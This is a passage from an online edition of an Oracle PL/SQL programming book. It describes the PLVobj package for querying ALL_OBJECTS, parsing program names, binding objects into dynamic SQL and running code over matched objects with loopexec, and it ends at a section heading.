10.3 PLVprsps: Parsing PL/SQL Strings | Book Index | 11.2 ALL_OBJECTS View
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 11] 11.2 ALL_OBJECTS View

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

11.2 ALL_OBJECTS View

The main objective of PLVobj is to provide a programmatic interface to the ALL_OBJECTS view. This data dictionary view has the following columns:

 Name             Null?    Type
 ---------------- -------- ----
 OWNER            NOT NULL VARCHAR2(30)
 OBJECT_NAME      NOT NULL VARCHAR2(30)
 OBJECT_ID        NOT NULL NUMBER
 OBJECT_TYPE               VARCHAR2(12)
 CREATED          NOT NULL DATE
 LAST_DDL_TIME    NOT NULL DATE
 TIMESTAMP                 VARCHAR2(75)
 STATUS                    VARCHAR2(7)

It contains a row for every stored code object to which you have execute access (the USER_OBJECTS view contains a row for each stored code object you created). The OWNER is the schema that owns the program unit.

object_name

The name of the object.

object_type

The type of the object, which is one of the following: package, package body, procedure, function, or synonym.

object_id

An internal pointer used to quickly obtain related information about the object in other data dictionary views.

last_ddl_time

Stores the date and timestamp when this object was last compiled into the database.

Status column

Either VALID or INVALID. This column is set by the Oracle Server as it maintains dependencies and performs compiles.

Without a package like PLVobj, every time you wanted to read from this view, you would need to write a SELECT statement in SQL*Plus or, in PL/SQL, define a cursor, and then do the "cursor thing." You would need to understand the complexities of the ALL_OBJECTS view (for example, all names are uppercased unless you created the object with double quotes around the name). You would also need to know how to parse a program name into its full set of components: owner, name, and type.

If several developers in your organization need to do the same thing, you soon have a situation where the same kind of query and similar code is "hard-coded" across your application or utilities. Lots of hours are wasted and the resources required for maintenance of the application multiply.

A better solution is to write the cursor once -- in a package, of course -- and then let all developers reference that cursor. They each do their own opens, fetches, and closes, but the SQL (just about the most volatile part of one's application) is shared. An even better solution, however, is to hide the cursor in the body of the package and build a complete programmatic interface to the cursor. With this approach, you build procedures and functions that perform the cursor operations; a user of the package never has to call native PL/SQL cursor operations. This is the approach I have taken with PLVobj and described in the following sections.

11.2.1 Cursor Into ALL_OBJECTS

At the heart of PLVobj (in the package body) is a cursor against the ALL_OBJECTS view. The cursor is defined as follows:

CURSOR obj_cur
IS
   SELECT owner, object_name, object_type, status
     FROM ALL_OBJECTS
    WHERE object_name LIKE v_currname
      AND object_type LIKE v_currtype
      AND owner LIKE v_currschema
    ORDER BY owner,
       DECODE (object_type,
          'PACKAGE', 1,
          'PACKAGE BODY', 2,
          'PROCEDURE', 3,
          'FUNCTION', 4,
          'TRIGGER', 5,
          6),
       object_name;

Notice that the cursor contains references to three package variables: v_currschema, v_currname, and v_currtype. These three variables make up the current object of PLVobj and are discussed in more detail later in this chapter.

Notice that I use the LIKE operator so that you can retrieve multiple objects from a single schema, or even multiple schemas. Furthermore, since my PL/SQL development is PL/SQL and package-centric, I use a DECODE statement to bring those up first in the ordering system.

Again, since this cursor is defined in the package body, users of PLVobj cannot directly OPEN, fetch from, or CLOSE the cursor. All of these actions must be taken through procedures which are described in the next section.

Previous: 11.1 Why PLVobj? | Advanced Oracle PL/SQL Programming with Packages | Next: 11.3 Setting the Current Object
11.1 Why PLVobj? | Book Index | 11.3 Setting the Current Object
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 11] 11.3 Setting the Current Object

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

11.3 Setting the Current Object

PLVobj provides a number of different programs to set and change the current object of PLVobj. The current object of PLVobj is defined by three private package variables:

v_currschema

The owner of the object(s).

v_currname

The name of the object(s). The name can be wildcarded, by including % in the name specified.

v_currtype

The type of the object(s). The type can be wildcarded as well, again by including % in the type specified.

Since the above elements are private variables, a user of PLVobj will never see or reference these variables directly. Instead, I provide the following set of procedures and functions to maintain these variables (I call this layer of code which surrounds variables "get and set" routines): setcurr, set_name, set_type, and set_schema.

The setcurr program calls the other set programs. Its header is:

PROCEDURE setcurr
   (name_in IN VARCHAR2, type_in IN VARCHAR2 := NULL);

The first argument is the module name, the second, optional argument is the module type. While the first argument is called a "name" argument, you can actually in this single argument supply the name, type, and schema. PLVobj makes it as easy as possible to supply this information. All of the following formats for the name_in argument are acceptable:

name

An unqualified identifier. In this case, PLVobj determines the type of the object from the data dictionary. This type will be unambiguous if name refers to a procedure or function. If a package, then the type could be either PACKAGE or PACKAGE BODY. PLVobj defaults to PACKAGE.

schema.name

The name of the object is qualified by the schema name. You will need to specify the schema name if you want to convert the case of a program owned by another user.

type:name

Both the type and the name are specified, separated by a colon. Valid type strings for each type of program unit are shown below.

type:schema.name

In this case, the user has specified all three elements of a program unit: the type of the program, the owner, and the name.

In fact, the second argument is optional because PLVobj allows you to concatenate the type onto the name argument.

The following table shows different ways of specifying programs and the resulting PLVobj current object values. In this table, pkg is the name of a package, func the name of a function, and proc the name of a procedure. The setcurr program is executed from the PLV account.

Call to setcurr

Schema

Program Type

Program Name

PLVobj.setcurr ('proc');

PLV

PROCEDURE

proc
PLVobj.setcurr ('func');

PLV

FUNCTION

func
PLVobj.setcurr ('pkg');

PLV

PACKAGE

pkg
PLVobj.setcurr ('b:pkg');

PLV

PACKAGE BODY

pkg
PLVobj.setcurr ('body:pkg');

PLV

PACKAGE BODY

pkg
PLVobj.setcurr ('s:SCOTT.empmaint');

SCOTT

PACKAGE

empmaint
PLVobj.setcurr ('%:plv%');

PLV

ALL TYPES

Like PLV%
PLVobj.setcurr ('s:scott.% ');

SCOTT

PACKAGE

All present

The above table assumes, by the way, that the PLV account has execute authority on SCOTT's empmaint package.

Notice that when I specify a function or procedure, I do not have to provide the type at all. There can only be one object of a given name in a schema, and the object_type is therefore unambiguously set to PROCEDURE. On the other hand, when I am working with packages, the situation is more ambiguous. A package can have up to two objects: the specification and the body. So if you provide a package name but do not supply a type, PLVobj will set the current type to PACKAGE. If you want to set the current object to a package body, you must supply a valid object type or object type abbreviation.

Here are the valid options for object type:

Program Type | Valid Entries for Type in Call to setcurr
Package Specification | S PS SPEC or SPECIFICATION
Package Body | B PB BODY or PACKAGE BODY
Procedure | P PROC or PROCEDURE
Function | F FUNC or FUNCTION

So I can set the current object to the PACKAGE BODY of the testcase package with any of the following calls to setcurr:

PLVobj.setcurr ('b:testcase');
PLVobj.setcurr ('pb:testcase');
PLVobj.setcurr ('body:testcase');
PLVobj.setcurr ('package body:testcase');

NOTE: The setcurr program relies on DBMS_UTILITY.NAME_RESOLVE to uncover all the components of a non-wildcarded object entry. This builtin only returns non-NULL values for PL/SQL stored code elements. Consequently, you cannot use setcurr to set the current object to non-PL/SQL elements such as tables and indexes. Instead, you will need to call the individual set programs explored in the next section.

You can use the PLVobj.setcurr program to convert your entry and set the current object accordingly. In some cases, however, you may want simply to change the current object type. Or you may want to take advantage of the parsing and conversion algorithms of PLVobj without actually changing the current object. To provide this flexibility, PLVobj offers a number of additional programs which are explained below.

11.3.1 Setting Individual Elements of Current Object

You can change the current schema, name, or type independently with the set programs. You can also retrieve the current object values with corresponding functions. The "get and set" programs are shown below:

PROCEDURE set_schema (schema_in IN VARCHAR2 := USER);
FUNCTION currschema RETURN VARCHAR2;
PROCEDURE set_type (type_in IN VARCHAR2);
FUNCTION currtype RETURN VARCHAR2;

PROCEDURE set_name (name_in IN VARCHAR2);
FUNCTION currname RETURN VARCHAR2;

I use these programs in the PLVvu.err procedure, which displays compile errors for the specified program. The main body of err is shown below:

PLVobj.setcurr (name_in);
IF PLVobj.currtype = PLVobj.c_package AND
   INSTR (name_in, ':') = 0
THEN
   /* Show errors for package spec, then body. */
   show_errors;
   PLVobj.set_type (PLVobj.c_package_body);
   show_errors (TRUE);
ELSE
   show_errors (TRUE);
END IF;

Translation: I call the setcurr procedure to set the current object. Then I call currtype to see if the program type is PACKAGE. If it is, I need to check to see if the developer has requested to see errors for just the package specification or both specification and body. If both were requested (there is no colon in the name, therefore no type specified), then I show errors for the specification, explicitly set the type to PACKAGE BODY -- overriding the existing value -- and then show errors for the body.

11.3.2 Converting the Program Name

All the logic to convert a string into the separate components of schema, name, and type are handled by the convobj program, whose header is shown below:

PROCEDURE convobj
   (name_inout IN OUT VARCHAR2,
    type_inout IN OUT VARCHAR2,
    schema_inout IN OUT VARCHAR2);

All three arguments of convobj are IN OUT parameters, so that you can provide a value and also have a value sent back for each of the components of an object.

The logic inside convobj is complex. If the name or type passed in to convobj contains a wildcard, those wildcarded strings are returned (in their separate components) by the procedure. If, on the other hand, no wildcards are present, convobj relies on the DBMS_UTILITY.NAME_RESOLVE builtin procedure to automatically resolve the program name into its individual components.

NAME_RESOLVE resolves the specified object name into the owner or schema, first name, second name (if in a package), program type, and database link if any. The program type is one of the following numbers:

5

(synonym)

7

(procedure)

8

(function)

9

(package)

NAME_RESOLVE is so useful because it automatically determines the appropriate schema of the named element you pass in. Notice that NAME_RESOLVE does not distinguish between a package body and its specification (they both have the same name, so that would be something of a challenge). The nameres.sql script in the plvision\use subdirectory provides an easy way to call and see the results from DBMS_UTILITY.NAME_RESOLVE.

You can call convobj when you want to convert a name to its different components without changing the current object in the PLVobj package. I do this, for example, in the setcase.sql script, which provides an easy-to-use frontend to PLVcase for case conversion of your code. I call PLVobj.convobj even before I call any PLVcase programs because I want to display the program you have just requested for conversion. This code is shown below:

PLVobj.convobj (modname, modtype, modschema);
modstring := modtype || ' ' || modname;
p.l ('=========================');
p.l ('PL/Vision Case Conversion');
p.l ('=========================');
p.l ('Converting ' || modstring || '..');

The PLVobj package also offers a convert_type procedure, which encapsulates the logic by which it converts any number of different abbreviations and strings to a valid object type for the ALL_OBJECTS view. The header for convert_type is as follows:

PROCEDURE convert_type (type_inout IN OUT VARCHAR2);

You pass it a string and it changes that screen to a valid type.

11.3.3 Displaying the Current Object

PLVobj provides the showcurr procedure to display the current object. Its header is:

PROCEDURE showcurr (show_header_in IN BOOLEAN := TRUE);

You can display the current object with a header (the default) or without, in which case you will simply see the schema, name, and type (note that this full name is constructed with a call to the fullname function, also available for your use). Some examples follow:

SQL> exec PLVobj.set_name ('PLVctlg');
SQL> exec PLVobj.set_type ('table);
SQL> exec PLVobj.showcurr; -- Displays a header
Schema.Name.Type
-----------------------------------------
PLV.PLVCTLG.TABLE
SQL> exec PLVobj.setcurr ('PLVio');
SQL> exec PLVobj.showcurr (FALSE); -- Suppresses header
PLV.PLVIO.PACKAGE

The showobj1.sql SQL*Plus script uses showcurr to display all the objects specified by your input. This script is described below in the section called "Accessing ALL_OBJECTS."

11.3.4 Saving and Restoring the Current Object

PLVobj provides programs to both save the current object and restore it from the last save. The headers for these programs are shown below:

PROCEDURE savecurr;
PROCEDURE restcurr;

You will want to use these programs if you are using PLVobj (in particular, the current object of PLVobj) more than once in a given program execution. Suppose, for example, that you have nested loops. In the outer loop, you call PLVobj.setcurr to scan through a set of program units. Inside the inner loop, you need to use PLVobj.setcurr to change the focus of activity to another object. When you are done with the inner loop execution, however, you will want to set the current object back to the outer loop values.

PL/Vision runs into this scenario because of the extensive work manipulating PL/SQL code objects.

Previous: 11.2 ALL_OBJECTS View | Advanced Oracle PL/SQL Programming with Packages | Next: 11.4 Accessing ALL_OBJECTS
11.2 ALL_OBJECTS View | Book Index | 11.4 Accessing ALL_OBJECTS
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 11] 11.4 Accessing ALL_OBJECTS

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

11.4 Accessing ALL_OBJECTS

Once you have set the current object in PLVobj (with either a call to setcurr or calls to the individual set programs), you can open, fetch from, and close the PLVobj cursor.

11.4.1 Opening and Closing the PLVobj Cursor

To open the cursor, you call the open_objects procedure, defined as follows:

   PROCEDURE open_objects;

This procedure first checks to see if the cursor is already open and, if not, takes that action. The implementation of open_objects is shown below:

   PROCEDURE open_objects IS
   BEGIN
      IF obj_cur%ISOPEN
      THEN
         NULL;
      ELSE
         OPEN obj_cur;
      END IF;
   END;

When you are done fetching from the cursor, you may close it with the following procedure:

   PROCEDURE close_objects;

whose implementation makes sure that the cursor is actually open before attempting to close the cursor:

   PROCEDURE close_objects IS
   BEGIN
      IF obj_cur%ISOPEN
      THEN
         CLOSE obj_cur;
      END IF;
   END;

11.4.2 Fetching from the PLVobj Cursor

Once the cursor is open, you will usually want to fetch rows from the result set. You do this with the fetch_object procedure, which is overloaded as follows:

PROCEDURE fetch_object;
PROCEDURE fetch_object (name_out OUT VARCHAR2, type_out OUT VARCHAR2);

If you call fetch_objects without providing any OUT arguments, the name and type will be passed directly into the current object variables, v_currname and v_currtype.

If, on the other hand, you provide two return values in the call to fetch_object, the current object will remain unchanged and you will be able to do what you want with the fetched values. The call to fetch_object without arguments is, therefore, equivalent to:

PLVobj.fetch_object (v_name, v_type);
PLVobj.setcurr (v_name, v_type);

11.4.3 Checking for Last Record

To determine when you have fetched all of the records from the cursor, use the more_objects function, whose header is:

   FUNCTION more_objects RETURN BOOLEAN;

This function returns TRUE when the obj_cur is open and when obj_cur%FOUND returns TRUE. In all other cases, the function returns FALSE (including when the PLVobj cursor is not even open).

11.4.4 Showing Objects with PLVobj

To see how all of these different cursor-oriented programs can be utilized, consider the following script (stored in showobj1.sql).

DECLARE
   first_one BOOLEAN := TRUE;
BEGIN
   PLVobj.setcurr ('&1');
   PLVobj.open_objects;
   LOOP
      PLVobj.fetch_object;
      EXIT WHEN NOT PLVobj.more_objects;
      PLVobj.showcurr (first_one);
      first_one := FALSE;
   END LOOP;
   PLVobj.close_objects;
END;
/

It sets the current object to the value passed in at the SQL*Plus command line. It then opens and fetches from the PLVobj cursor, exiting when more_objects returns FALSE. Finally, it closes the PLVobj cursor. This cursor close action is truly required. The PLVobj cursor is not declared in the scope of the anonymous block; instead, it is defined in the package body. After you open it, it will remain open for the duration of your session, unless you close it explicitly.

In the following example of a call to showobj1.sql, I ask to see all the package specifications in my account whose names start with "PLVC". I see that I have four packages.

SQL> start showobj1 s:PLVc%
Schema.Name.Type
PLV.PLVCASE.PACKAGE
PLV.PLVCAT.PACKAGE
PLV.PLVCHR.PACKAGE
PLV.PLVCMT.PACKAGE

If you are not working in SQL*Plus, you can easily convert the showobj1.sql script into a procedure as follows:

CREATE OR REPLACE PROCEDURE showobj (obj_in IN VARCHAR2)
IS
   first_one BOOLEAN := TRUE;
BEGIN
   PLVobj.setcurr (obj_in);
   PLVobj.open_objects;
   LOOP
      PLVobj.fetch_object;
      EXIT WHEN NOT PLVobj.more_objects;
      PLVobj.showcurr (first_one);
      first_one := FALSE;
   END LOOP;
   PLVobj.close_objects;
END;
/

Previous: 11.3 Setting the Current Object | Advanced Oracle PL/SQL Programming with Packages | Next: 11.5 Binding Objects to a Dynamic Cursor
11.3 Setting the Current Object | Book Index | 11.5 Binding Objects to a Dynamic Cursor
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 11] 11.5 Binding Objects to a Dynamic Cursor

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

11.5 Binding Objects to a Dynamic Cursor

PLVobj provides the bindobj procedure to make it easier for you to utilize the PLVobj current object inside dynamic SQL. This program can be used when you have placed bind variables in your dynamically constructed cursor that correspond to one or more of the elements of the current object.

The header for bindobj is as follows:

PROCEDURE bindobj
   (cur_in IN INTEGER,
    name_col_in IN VARCHAR2 := 'name',
    type_col_in IN VARCHAR2 := 'type',
    schema_col_in IN VARCHAR2 := 'owner');

The first, and only required, argument is the handle to the DBMS_SQL cursor handle. The other parameters provide the strings which are the placeholders in the string that was parsed for that cursor handle. The default values for these placeholders correspond to the names of the columns in the ALL_SOURCE data dictionary view.

11.5.1 Specifying Which Binds Occur

The bindobj procedure will only call BIND_VARIABLE for those placeholders for which a non-NULL column name is provided. For example, in the following call to bindobj, BIND_VARIABLE will only be executed for the name placeholder.

PLVobj.bindobj (cur_handle, 'objname', NULL, NULL);

Notice that since the default values for these column names are not NULL, you must explicitly pass a NULL value in to bindobj in order to turn off a binding for that placeholder (if you do not, DBMS_SQL will raise an exception). If you only want to turn off one of the trailing bind operations (such as for the schema), while leaving the earlier column names with their defaults, you can use named notation to specify an override for just that column as shown below:

PLVobj.bindobj (cur_handle, schema_col_in => NULL);

11.5.2 Using bindobj

The bindobj procedure comes in handy when you are using PLVobj to manage a current object, but you are not using PLVobj to query records from the ALL_OBJECTS view. You might, as does PL/Vision, want to read information from another data dictionary view that also contains object-related information, such as USER_SOURCE or USER_ERRORS.

I'll take you through a simple example of how to use bindobj. The script below (found in inline.sql) uses PLVobj and PLVdyn to display the line numbers of the stored source code which contains the specified string. With this script you answer such questions as: "How many (and which) lines of code in the PLVio package use the SUBSTR function?" Here, in fact, is the answer to that question:

SQL> start inline b:PLVprs SUBSTR
Lines with SUBSTR in PLV.PLVPRS.PACKAGE BODY
54
63
76
141
144
219
242
282
303
306
312
315
377

And here is the inline.sql script:

SET VERIFY OFF
DECLARE
   v_sql VARCHAR2(2000) :=
     'SELECT line FROM user_source ' ||
     ' WHERE name = :name ' ||
     '   AND type = :type ' ||
     '   AND INSTR (text, ''&2'') > 0' ||
     ' ORDER BY line';
   v_line INTEGER;
   cur INTEGER;
BEGIN
   PLVobj.setcurr ('&1');
   cur := PLVdyn.open_and_parse (v_sql);
   DBMS_SQL.DEFINE_COLUMN (cur, 1, v_line);
   PLVobj.bindobj (cur, schema_col_in => NULL);
   PLVdyn.execute (cur);

   p.l ('Lines with &2 in ' || PLVobj.fullname);
   LOOP
      EXIT WHEN DBMS_SQL.FETCH_ROWS (cur) = 0;
      DBMS_SQL.COLUMN_VALUE (cur, 1, v_line);
      p.l (v_line);
   END LOOP;
END;
/

In the inline.sql script, I use PLVobj.setcurr to set the current object (passed in as the first argument to the script). I then perform several steps of dynamic SQL to open and parse the cursor and then define the single column for the SELECT statement. Before I can execute the cursor, I need to provide bind values for the :name and :type placeholders.

Since I have called PLVobj.setcurr, I can take advantage of the current object by calling the bindobj procedure. It automatically binds the name and type of the current object to my locally defined dynamic SQL statement. Since I am working with USER_SOURCE, I specify in my call to bindobj that I do not have any schema placeholder to be bound.

Following the bind, I execute and then loop through all the rows in the result set, displaying the line number.

11.5.3 Using bindobj in PL/Vision

The PLVio package contains a private procedure that makes use of PLVobj.bindobj. The prepsrc procedure prepares the source when it is a database table. This preparation phase involves calling the necessary dynamic SQL programs to define and execute a cursor against the table. Here is a simplified version of prepsrc:

PROCEDURE prepsrc (cur_in IN OUT INTEGER)
IS
   v_namecol PLV.plsql_identifier%TYPE := srcrep.name_col;
   v_typecol PLV.plsql_identifier%TYPE := srcrep.type_col;
   v_schemacol PLV.plsql_identifier%TYPE := srcrep.schema_col;
BEGIN
   cur_in := PLVdyn.open_and_parse (srcselect);

  /* Check to see if placeholders need to be bound. */

   IF INSTR (srcselect, ':' || v_namecol) = 0
   THEN
      v_namecol := NULL;
   END IF;

   IF INSTR (srcselect, ':' || v_typecol) = 0
   THEN
       v_typecol := NULL;
    END IF;

   IF INSTR (srcselect, ':' || v_schemacol) = 0
   THEN
       v_schemacol := NULL;
    END IF;

   PLVobj.bindobj (cur_in, v_namecol, v_typecol, v_schemacol);

   PLVdyn.execute (cur_in);

END prepsrc;

Translation: Use the PLVdyn (PL/Vision DYNamic SQL) package to open and parse a select statement which has already been constructed (and is returned by the call to the function srcselect). Since the user of PLVio can modify the contents of the SELECT statement, I then use IF statements to check to see whether the standard name and type placeholders are in the dynamic SQL string. I use the INSTR builtin combined with the default column names to see if placeholders for name, type, or schema appear in the SELECT statement. If not, I set the corresponding column names to NULL.

Next, I call the bindobj procedure to bind this cursor for the current object (PLVmod.currschema, PLVmod.currname, and PLVmod.currtype), but only for those placeholders that are present. At the end of prepsrc, I execute the cursor using PLVdyn.

Previous: 11.4 Accessing ALL_OBJECTS | Advanced Oracle PL/SQL Programming with Packages | Next: 11.6 Populating a PL/SQL Table with Object Names
11.4 Accessing ALL_OBJECTS | Book Index | 11.6 Populating a PL/SQL Table with Object Names
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 11] 11.6 Populating a PL/SQL Table with Object Names

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

11.6 Populating a PL/SQL Table with Object Names

PLVobj provides a procedure to transfer the names of all objects identified by user input from the view into a PL/SQL table. This vu2pstab procedure's header is as follows:

PROCEDURE vu2pstab
   (module_in IN VARCHAR2,
    table_out OUT PLVtab.vc2000_table,
    num_objects_inout IN OUT INTEGER);

The first argument, module_in, is the module specification. This can be a single module or, with wildcarding characters, a set of objects. The second argument, table_out, is the PL/SQL table that will hold the names of all identified objects. The final argument, num_objects_inout, contains the number of rows populated in the PL/SQL table (starting from row 1).

Use the vu2pstab procedure when you want to create a list of the objects which you can then use as the basis for one or more passes through the list to perform actions against the objects. This can be particularly important when you want to make use of different elements of PL/Vision which rely on PLVobj and a current object for processing. If these packages are nested, the outer loop that uses PLVobj can be affected or overridden by the inner usage.

The script showobj1.sql shown in a previous section used a simple loop to retrieve and display each of the objects specified by the SQL*Plus argument. That loop can be replaced by a call to vu2pstab and a call to PLVtab.display to show the contents of the table. This version of "show objects" (stored in the file showobj2.sql) is shown below:

DECLARE
   objects PLVtab.vc2000_table;
   numobjs INTEGER;
BEGIN
   PLVobj.vu2pstab ('&1', objects, numobjs);
   PLVtab.display (objects, numobjs);
END;
/

This is far less code than was required by the first version; the open, fetch, and close steps of the cursor manipulation are hidden behind the vu2pstab program. In this way, PLVobj.vu2pstab offers some of the flavor and code savings of a cursor FOR loop. The loopexec procedure covered in the next section, on the other hand, offers an even closer resemblance to the cursor FOR loop and is a very entertaining application of dynamic PL/SQL code execution.

Previous: 11.5 Binding Objects to a Dynamic Cursor | Advanced Oracle PL/SQL Programming with Packages | Next: 11.7 A Programmatic Cursor FOR Loop
11.5 Binding Objects to a Dynamic Cursor | Book Index | 11.7 A Programmatic Cursor FOR Loop
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 11] 11.7 A Programmatic Cursor FOR Loop

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

11.7 A Programmatic Cursor FOR Loop

The loopexec procedure provides the procedural equivalent of a cursor FOR loop. Its header is shown below:

PROCEDURE loopexec
   (module_in IN VARCHAR2,
    exec_in IN VARCHAR2 := c_show_object,
    placeholder_in IN VARCHAR2 := c_leph,
    name_format_in IN VARCHAR2 := c_modspec);

The loopexec procedure executes the line of code found in the exec_in argument for all of the modules specified by the module_in argument. If the module_in string does not have any wildcard characters, then it will apply the exec_in command to the single program only.

The default value for the executable statement is c_show_object, a constant defined in the package specification as follows:

c_show_object CONSTANT VARCHAR2(100) := 'p.l (:rowobj)';

where rowobj is the placeholder for the object identified by the current row fetched from the PLVobj cursor. The default action is, therefore, to display the name of the current object.

The placeholder_in argument tells loopexec which string will serve as a placeholder in the execution string (this placeholder is similar to the dynamic SQL bind variable placeholder). The default is defined in the PLVobj constant, c_leph, as follows:

c_leph CONSTANT VARCHAR2(10) := 'rowobj';

You can, however, override this value with your own string (an example of this process is shown in the next section).[1]

[1] For curious readers, the leph stands for "LoopExec PlaceHolder."

The name_format_in argument specifies the form that the current object string should take when constructed by PLVobj. The options for the format are:

Format Constant | Format of Object String
c_modspec | TYPE:SCHEMA.NAME
c_modname | SCHEMA.NAME

The c_modspec format is useful when the current object is to be passed to another program that supports the PLVobj format for specifying objects (particularly in PL/Vision utilities). The c_modname option structures the name so that it is a valid program unit name in PL/SQL.

11.7.1 Some Simple Applications of loopexec

The default statement executed by PLVobj.loopexec requests that loopexec display the name of the current object. So if I want to display all of the objects located with the string s:PLVc%, I would simply enter:

SQL> exec PLVobj.loopexec ('s:PLVc%');
PACKAGE:PLV.PLVCASE
PACKAGE:PLV.PLVCAT
PACKAGE:PLV.PLVCHR
PACKAGE:PLV.PLVCMT

and would discover that I have four package specifications whose names start with PLVC. To obtain this information, I did not have to write a loop against the ALL_OBJECTS cursor. Neither did I have to call the various PLVobj cursor management programs like fetch_object. Instead, I simply told PLVobj: For every object identified, execute this code. It is, in other words, a programmatically defined cursor FOR loop! See what I mean about PL/SQL being fun?

Now suppose that I want to do something besides display the objects. Let's see how to use loopexec to generate a set of DESCRIBE commands for use in SQL*Plus to show the call interface to stored code. The format for this command in SQL*Plus is:

SQL> desc prog

where prog is the name of a PL/SQL program, either a function or a procedure (standalone or packaged). So if my PL/SQL program is going to generate these commands, I would have to execute something like this:

p.l ('DESC ' || current_object);

where current_object is a variable containing the current object string. In this scenario, however, I am working with dynamic PL/SQL; loopexec does not know in advance which statement I want to execute. So I need to convert this command into a string that will be evaluated into the proper PL/SQL command. In particular, I must double all single quotes and give loopexec a way to find my reference to the current object. I do this through the use of a placeholder string.

This approach is shown in the following script (stored in file gendesc.sql):

BEGIN
   PLVobj.loopexec
      ('&1', 'p.l (''DESC '' || :XX)', 'XX', PLVobj.c_modname);
END;
/

In this call to loopexec, I provide a value for every argument! The first value is actually a SQL*Plus substitution parameter containing the specification of the program unit(s) for which I want to generate a DESC command. The second argument is the dynamic PL/SQL version of the call to p.l, which outputs a DESC command. Notice the double quotes around DESC and the hard-coding of a concatenation of the XX placeholder. The third argument (XX) tells loopexec to replace any occurrence of :XX in the command with the current object. Finally, the fourth argument requests that the current object string be returned as a valid PL/SQL object name (the DESC command doesn't know about the type:schema.name syntax of PL/Vision).

I execute gendesc below to create DESCRIBE commands for all procedures in the PLV schema.

SQL>  @gendesc p:%
DESC PLV.CREATE_INDEX
DESC PLV.MODVALS
DESC PLV.MORE
DESC PLV.PLVHELP
DESC PLV.PLVSTOP
DESC PLV.SHOWEMPS
DESC PLV.SHOWERR
DESC PLV.SHOWUSER

I can then cut and paste these commands into a file (or use the SPOOL command) and execute them.

You might still be looking at the arguments I passed to PLVobj.loopexec and wondering what the heck that all means and, more importantly, how you could ever figure out how to use loopexec properly. So let's now turn our attention to the task of constructing an execution string for the loopexec procedure.

11.7.2 Constructing the Execution String

The loopexec procedure uses dynamic PL/SQL (via the PL/Vision PLVdyn package and, as a result, the builtin DBMS_SQL package) to execute the string you pass to it. For this to work properly, you must build a string which evaluates to a valid PL/SQL command. This task can become very complicated when you need to include single quote marks and especially when you want your executed code to operate on the current object (which is, after all, the main reason you would use loopexec). To work with the current object fetched from the PLVobj cursor, loopexec needs to bind the current object into the dynamic PL/SQL string.

To understand how to deal with these issues, let's start by looking more closely at the default action. This code string is contained in the packaged constant, c_show_object, which is the following string:

c_show_object CONSTANT VARCHAR2(100) := 'p.l (:rowobj)';

In PLVobj terminology, the string :rowobj is the placeholder for the current object. This is the default placeholder string and is defined in a package-level constant shown below:

c_leph CONSTANT VARCHAR2(10) := 'rowobj';

The p.l procedure, as you should be well aware by now, displays output to the screen. So this command says: "Display the current object." When loopexec prepares to execute this simple command, it replaces all occurrences of the string :rowobj with the variable containing the current object string (in the form type:schema.name). It then passes this string to the open_and_parse function of PLVdyn and immediately executes the PL/SQL program contained in the string.

When you construct your own strings to pass to loopexec, you can use the default placeholder string or you can specify your own string. You saw in the last section how I used my own placeholder, XX, to direct loopexec to perform the right substitution. Now let's look at how PLVcase uses loopexec to convert the case of multiple programs to demonstrate use of the default placeholder. The full body of the PLVcase.modules procedure is shown below:

PLVobj.loopexec
   (module_spec_in,
    'PLVcase.module(' || PLVobj.c_leph || ', PLVcase.c_usecor,
       FALSE)');

As you can see, it consists of a single line: a call to the loopexec program. This call contains only two arguments, so the default values will be used for the last two arguments (the placeholder string and the string format). The line of code executed by loopexec is a call to PLVcase.module program, which converts the case of a single PL/SQL program. Suppose that I am converting the employee_maint package. I would then want this string executed by loopexec:

PLVcase.module ('employee_maint', PLVcase.c_usecor, FALSE);

Since I am passing in a variable containing the package name, however, my call to PLVcase.module would look more like this:

PLVcase.module (v_currobj, PLVcase.c_usecor, FALSE);

Now, it is theoretically possible for me to find out the specific string used by PLVobj for its placeholder replacement (you have already seen it: :rowobj). This is an example, however, of dangerous knowledge. In this situation, what I know could hurt me. What if I hard-code the rowobj string into my calls to loopexec and then somewhere down the line, PLVobj is changed and a new string is used? Yikes! Lots of broken code.

11.7.3 Using the Predefined Placeholder

